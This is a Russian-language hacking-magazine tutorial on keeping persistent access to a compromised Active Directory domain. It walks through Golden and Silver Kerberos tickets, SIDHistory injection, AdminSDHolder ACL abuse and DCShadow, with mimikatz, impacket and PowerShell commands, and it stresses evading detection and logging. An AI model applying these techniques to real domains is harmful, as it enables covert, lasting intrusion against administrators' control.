Хакер - Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен

Хакер - Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Kerberos Golden Tickets
  • Ticketer
  • Mimikatz
  • Meterpreter
  • Kerberos Silver Ticket
  • Ticketer
  • Mimikatz
  • SIDHistory
  • Golden Ticket + SIDHistory
  • AdminSDHolder
  • DCShadow

Представь, что мы скомпрометировали привилегированные учетные записи, используя разные техники повышения привилегий, распространились по сети, скрылись от средств обнаружения, но неожиданно потеряли контроль над доменом, потому что администратор по какой-то причине сменил пароль! В сегодняшней статье мы разберем способы сохранить административный доступ, даже если администратор сменил пароли или разрешения.

Kerberos Golden Tickets

Один из способов сохранить доступ к системе — сформировать Golden Ticket: пароль учетной записи krbtgt не будет изменен при тех же условиях, при которых может быть изменен пароль администратора.

Golden Ticket — это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутентификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT, он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS.

Золотой билет Kerberos — действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos (krbtgt). А так как TGT зашифрован хешем пароля krbtgt и может быть расшифрован любой службой KDC в домене, то билет и воспринимается как реальный. Для того чтобы сделать Golden Ticket, нам необходимо знать следующее:

  1. SPN домена.
  2. SID домена.
  3. NTLM-хеш доменной учетной записи krbtgt.
  4. Имя пользователя, под которым будет работать оператор (даже если такого пользователя не существует).

Так как имя пользователя можно использовать любое, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-команды Get-ADDomain.

Теперь нужно получить NTLM-хеш учетной записи krbtgt. Сделать это можно как удаленно, так и с помощью mimikatz. С использованием mimikatz у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa.

mimikatz # lsadump::dcsync /user:krbtgt

mimikatz # privilege::debug

mimikatz # lsadump::lsa /inject /name:krbtgt

mimikatz # sekurlsa::krbtgt

Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии meterpreter.

impacket-secretsdump domain.dom/root@192.168.6.100

Существует два варианта использования meterpreter: при помощи hashdump и dcsync_ntlm (для второго нужно загрузить модуль kiwi).

С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer и с использованием meterpreter.

Ticketer

Первым делом следует создать билет. Для этого используем скрипт ticketer из пакета impacket (напомню, что имя пользователя можно выдумать любое).

impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-9

В текущей директории создан билет anyuser.ccache. Экспортируем его.

export KRB5CCNAME=anyuser.ccache

Теперь подключимся с помощью psexec из того же пакета impacket.

python3 psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]

Получаем удаленное управление с правами SYSTEM.

Mimikatz

Создадим поддельный золотой билет с помощью mimikatz.

Если в данной команде не использовать параметр /ptt, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в памяти. Давай проверим это, вызвав командную строку.

mimikatz # misc::cmd

Теперь, выполнив команду klist, наблюдаем кешированный Golden Ticket.

Meterpreter

Для работы с meterpreter будем использовать модуль kiwi. Первым делом создадим Golden Ticket.

Теперь применим его.

И проверим, что билет успешно загружен.

Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда, даже при смене паролей пользователей, изменении их ролей и даже при удалении скомпрометированных учетных записей.

Kerberos Silver Ticket

Silver Ticket — это поддельные билеты TGS, также называемые билетами службы. Как показано на схеме аутентификации Kerberos с Silver Ticket, в этом случае отсутствуют шаги AS-REQ/AS-REP и TGS-REQ/TGS-REP, что исключает взаимодействие с контроллером домена. То есть у нас получается избежать логирования, так как журналы событий располагаются на сервере.

Серебряный билет Kerberos — действительный билет Kerberos TGS: он зашифрован и подписан учетной записью службы, для которой настроено SPN-имя для каждого сервера, на котором, в свою очередь, работает служба проверки подлинности Kerberos.

В то время как Golden Ticket является поддельным TGT для получения доступа к любой службе Kerberos, Silver Ticket представляет собой поддельный TGS. А это означает, что область его применимости ограничена определенной службой.

Из всего вышесказанного следует, что вместо хеша пароля учетной записи krbtgt нужен хеш пароля учетной записи службы, а также ее SPN-имя. Ниже представлены наиболее интересные службы и соответствующие им типы билетов.

Разберем создание Silver Ticket на примере службы cifs. Она позволит нам обращаться с правами администратора к любому общему ресурсу на компьютере, чего хватит для работы через psexec с правами SYSTEM.

Для службы cifs нам достаточно хеша пароля учетной записи компьютера. Его можно получить так же, как и в случае с Golden Ticket.

В случае с mimikatz можно использовать sekurlsa::logonpasswords.

Теперь давай создадим и применим Silver Ticket.

Ticketer

Для начала сгенерируем Silver Ticket. Сделать это можно по аналогии с золотым билетом, но следует указать SPN службы CIFS.

impacket-ticketer -nthash c854d3f11ea2ad22267ed4571f77d29b -domain-sid S-1-5-21-719111203

Теперь экспортируем тикет.

export KRB5CCNAME=anyuser.ccache

И наконец, получим управление с правами SYSTEM с помощью psexec.

Mimikatz

NTLM-хеш пароля учетной записи компьютера используется с параметром rc4. При этом мы можем придумать как имя пользователя, так и его User ID (в параметре id). В параметре service укажем cifs, а в target — полное имя компьютера.

kerberos::golden /admin:anyuser /domain:domain.dom /id:1111 /sid:S-1-5-21-719111203-9426713

Проверим загруженные в память билеты и обнаружим там только что созданный.

Существует мнение, что Silver Ticket куда более опасны, чем Golden Ticket, несмотря на то что область их действия ограниченна. Это справедливо потому, что хеш службы легче получить, чем хеш krbtgt, а обнаружение такого вторжения сложнее из-за отсутствия взаимодействия с контроллером домена.

SIDHistory

SIDHistory — это атрибут объекта в Active Directory, который хранит старый SID. Наиболее часто он применяется при миграциях. Эта функция необходима при переносе учетных записей пользователей из одного доверенного домена в другой. При этом учетные записи полностью сохраняют настройки доступа к старым ресурсам и файлам. Когда пользователь проходит проверку подлинности, идентификаторы безопасности каждой группы безопасности, членом которой он является, добавляются в билет Kerberos этого пользователя, а также в атрибут SIDHistory его учетной записи.

При создании нового пользователя SID его учетки будет отличен от SID других учетных записей. Это также справедливо при переносе пользователя из первого домена во второй. В таком случае SID учетной записи пользователя из первого домена будет добавлен в SIDHistory учетной записи во втором домене. Именно поэтому пользователь из второго домена может получить доступ к своим старым ресурсам и файлам в первом домене.

Но, что удивительно, если обычный пользователь во втором домене имеет в атрибуте SIDHistory своей учетной записи SID учетной записи одного из администраторов первого домена, то данный пользователь становится привилегированным в первом домене! То есть пользователю будут предоставлены права администратора домена без его участия в группе «Администраторы домена».

Таким образом, для сохранения привилегированного доступа в доверенном домене оператор может включить SID привилегированной учетной записи в целевом домене в атрибут SIDHistory контролируемой им непривилегированной учетной записи из доверенного домена.

С помощью mimikatz мы можем внедрить любой SID в атрибут SIDHistory любого пользователя (но для этого нужны права администратора, которые у нас, конечно же, есть). На следующей иллюстрации видно, что пользователь notroot не имеет административного доступа.

Давай посмотрим атрибут SIDHistory этого пользователя.

PS > Get-ADUser [пользователь] -Properties SIDHistory

Данный атрибут у пользователя пуст. Теперь узнаем SID администратора, который необходимо туда внедрить.

Давай внедрим с помощью mimikatz SID привилегированного пользователя root в атрибут SIDHistory обычного пользователя notroot.

mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:[целевой пользователь] /new:[SID или пользователь, чей SID внедряетс

Все прошло успешно. Теперь снова проверим атрибут SIDHistory нашего пользователя. Как видно на следующей иллюстрации, в атрибуте SIDHistory теперь присутствует SID привилегированного пользователя.

При входе в систему от имени пользователя notroot все идентификаторы безопасности, связанные с этой учетной записью, добавляются в токен пользователя, который задействован для определения доступа к ресурсам. Если точнее, туда добавляются:

  1. SID, связанный с учетной записью пользователя.
  2. SID’ы групп, в которые входит пользователь (включая группы, членами которых являются эти группы).
  3. SID’ы, содержащиеся в SIDHistory.

Если снова попытаться войти в систему от имени пользователя notroot, то можно заметить, что теперь он имеет административный доступ.

Когда пользователь notroot входит в систему, SID’ы, связанные с его учетной записью, оцениваются и доступ определяется на основе этих SID. Так как учетная запись notroot связана с учетной записью root (администратор), учетная запись notroot имеет все права доступа к учетной записи root, включая права администратора домена.

Golden Ticket + SIDHistory

Родительский (корневой) домен содержит группу администраторов всего леса Enterprise Admins. Поэтому, когда хеш пароля учетной записи krbtgt предоставляется в дочернем домене, существует определенное ограничение. Так как mimikatz добавляет членство в группе за счет относительных идентификаторов (RID), то в данном случае в билете Kerberos группа RID 519 (Enterprise Admins) будет идентифицирована как локальная по отношению к домену, в котором был создан билет (на основе домена учетной записи krbtgt). Но если идентификатор безопасности, полученный путем добавления RID к SID’у домена, не существует, то владелец билета Kerberos не получит определенный уровень доступа.

Таким образом, если домен, в котором был создан Golden Ticket, не содержит группу Enterprise Admins, то данный билет не предоставит права администратора для других доменов в том же лесу. Если сделать Golden Ticket с помощью mimikatz и обратиться к ресурсам в своем и другом доменах, то во втором случае мы получим отказ в доступе.

mimikatz # kerberos::golden /admin:anyuser /domain:domA.domain.dom /sid:S-1-5-21-719111203-9

Мы уже подробно разобрали, как работает SIDHistory, и знаем, что билет Kerberos содержит этот параметр. Давай добавим в золотой билет Kerberos, а именно в параметр SIDHistory SID группы Enterprise Admins.

mimikatz # kerberos::golden /admin:anyuser /domain:domA.domain.dom /sid:S-1-5-21-719111203-94

Таким образом мы получаем доступ ко всему лесу.

AdminSDHolder

AdminSDHolder — это объект, расположенный в разделе System в Active Directory (cn=adminsdholder, cn=system, dc=domain, dc=dom). Он используется в качестве шаблона безопасности для объектов, которые являются членами определенных привилегированных групп, называемых защищенными группами.

В Active Directory учетные записи и группы с высоким уровнем привилегий по умолчанию считаются защищенными. При использовании большинства объектов в Active Directory администраторы или пользователи, которым были делегированы разрешения на управление объектами Active Directory, могут не только изменять права доступа к объектам, но и управлять самими разрешениями (к примеру, чтобы настраивать членство в группах).

Но есть одна особенность: в случае защищенных учетных записей и групп разрешения объектов устанавливаются и применяются автоматически. Это гарантирует, что разрешения на объекты останутся единообразными, даже если объекты будут перемещены в другой каталог. Таким образом, если кто-либо вручную изменяет разрешения защищенного объекта, эти разрешения будут возвращены к их значениям по умолчанию.

Объекты, которые по умолчанию считаются защищенными группами, — это операторы учета, администратор, администраторы, операторы архива, администраторы домена, администраторы предприятия, администраторы корпоративных ключей, администраторы ключей, KRBTGT, операторы печати, контроллеры домена только для чтения, репликатор, администраторы схемы, операторы сервера. В отличие от большинства объектов в домене Active Directory, владельцем которых являются группы «Администраторы», объект AdminSDHolder принадлежит группе «Администраторы домена». Таким образом, все защищенные с помощью AdminSDHolder объекты имеют атрибут AdminCount, установленный в 1. Но если объект удалить из защищенной группы, значение атрибута AdminCount не изменится.

Так как главным условием защищаемого объекта становится значение атрибута AdminCount, равное 1, мы можем найти все эти объекты с помощью следующего скрипта.

$ldapFilter = "(adminCount=1)"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"

$result = $search.FindAll()

foreach ($res in $result){
    $userEntry = $res.GetDirectoryEntry()
    Write-host "Object Name = " $userEntry.name
    Write-host "Object Class = " $userEntry.objectClass
    foreach($AdminCount in $userEntry.adminCount){
        Write-host "AdminCount = " $AdminCount
        Write-host ""
    }
}

Список контроля доступа (ACL) объекта AdminSDHolder применяется как шаблон для всех разрешений всем защищенным объектам Active Directory и их членам. Для обеспечения безопасного доступа к защищенным объектам Active Directory будет брать ACL объекта AdminSDHolder и периодически применять его ко всем этим объектам, то есть ко всем пользователям и группам. Таким образом, если мы можем манипулировать списком ACL для AdminSDHolder, эти разрешения будут автоматически применены ко всем защищенным объектам, что позволит создать постоянный доступ к привилегированным учетным записям в домене.

За автоматизацию восстановления разрешений защищенных объектов отвечает процесс SDProp. По умолчанию восстановление происходит каждые 60 минут (но этот интервал можно изменить). Таким образом, если администратор увидит подозрительное разрешение для защищенного объекта и удалит его, то спустя указанное время эти полномочия будут восстановлены обратно благодаря SDProp, так как атрибут AdminCount данного объекта должен быть равным 1. В результате объект останется защищенным.

Давай добавим пользователя к AdminSDHolder или выставим пользователю атрибут adminCount в 1.

Get-ADUser [пользователь] | Set-ADObject -Clear adminCount
Get-ADUser [пользователь] | Set-ADObject -Add @{adminCount=1}

Спустя некоторое время после восстановления разрешений SDProp’ом данная учетная запись будет иметь полный контроль над группой «Администраторы домена».

При этом можно заметить, что пользователь не имеет членства в группах.

Get-ADUser [пользователь] -Properties memberof

Чтобы изменить интервал восстановления, нужно в ветке реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters создать параметр DWORD с именем AdminSDProtectFrequency, а в качестве значения указать количество секунд (минимальное — 60).

AdminSDHolder — это очень хитрый метод, позволяющий нам предоставлять возможность менять привилегированные группы в Active Directory, используя ключевой компонент безопасности. Таким образом, даже если разрешения для защищенной группы или пользователя изменены администратором, SDProp вернет разрешения безопасности спустя отведенный интервал времени в соответствии с объектом AdminSDHolder, тем самым возвращая нам административный доступ.

DCShadow

В предыдущей части статьи мы рассмотрели способ обеспечить персистентность доступа, основанный на изменении разрешений защищаемых объектов, то есть на управлении списками ACL и манипуляциях с контейнером AdminSDHolder. Но эти способы могут быть зарегистрированы в журнале событий. Чтобы избежать этого, есть решение: DCShadow позволяет вносить такие изменения без регистрации событий, что снижает риск обнаружения.

Таким образом, план следующий:

  1. Получить текущие разрешения AdminSDHolder.
  2. Внести изменения в разрешения (добавить нового пользователя).
  3. Применить обновленные разрешения через DCShadow.

Получить текущие разрешения можно с помощью PowerShell.

$asdh = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=dom'
$sddl = $asdh.ObjectSecurity.Sddl

Чтобы обеспечить персистентность доступа, добавим учетную запись в разрешения AdminSDHolder. Для этого нужно изменить полученную строку SDDL. Сначала необходимо узнать SID целевого объекта.

Теперь можно изменить SDDL, просто добавив туда SID.

$newsddl = $sddl + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID]])"

Приступим к последнему этапу — использованию DCShadow. Чтобы применить данные разрешения, используем mimikatz, причем от имени System.

mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:"CN=AdminSDHolder,CN=System,DC=domain,DC=dom" /attribute

При этом в другом окне mimikatz нужно выполнить репликацию и применить данные.

mimikatz # lsadump::dcshadow /push

Спустя некоторое время у целевой учетной записи можно заметить обновленный атрибут adminCount, о котором мы уже говорили.

Таким образом еще один вектор, для которого мы можем использовать DCShadow, — персистентность административного доступа.

Для тех, кто хочет получить больше информации по этой теме, я создал телеграм-канал @RalfHackerChannel, где можно задать свои вопросы (или ответить на вопросы других юзеров). До встречи в следующих статьях!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei


Report content on this page

Report Page

Please submit your DMCA takedown request to dmca@telegram.org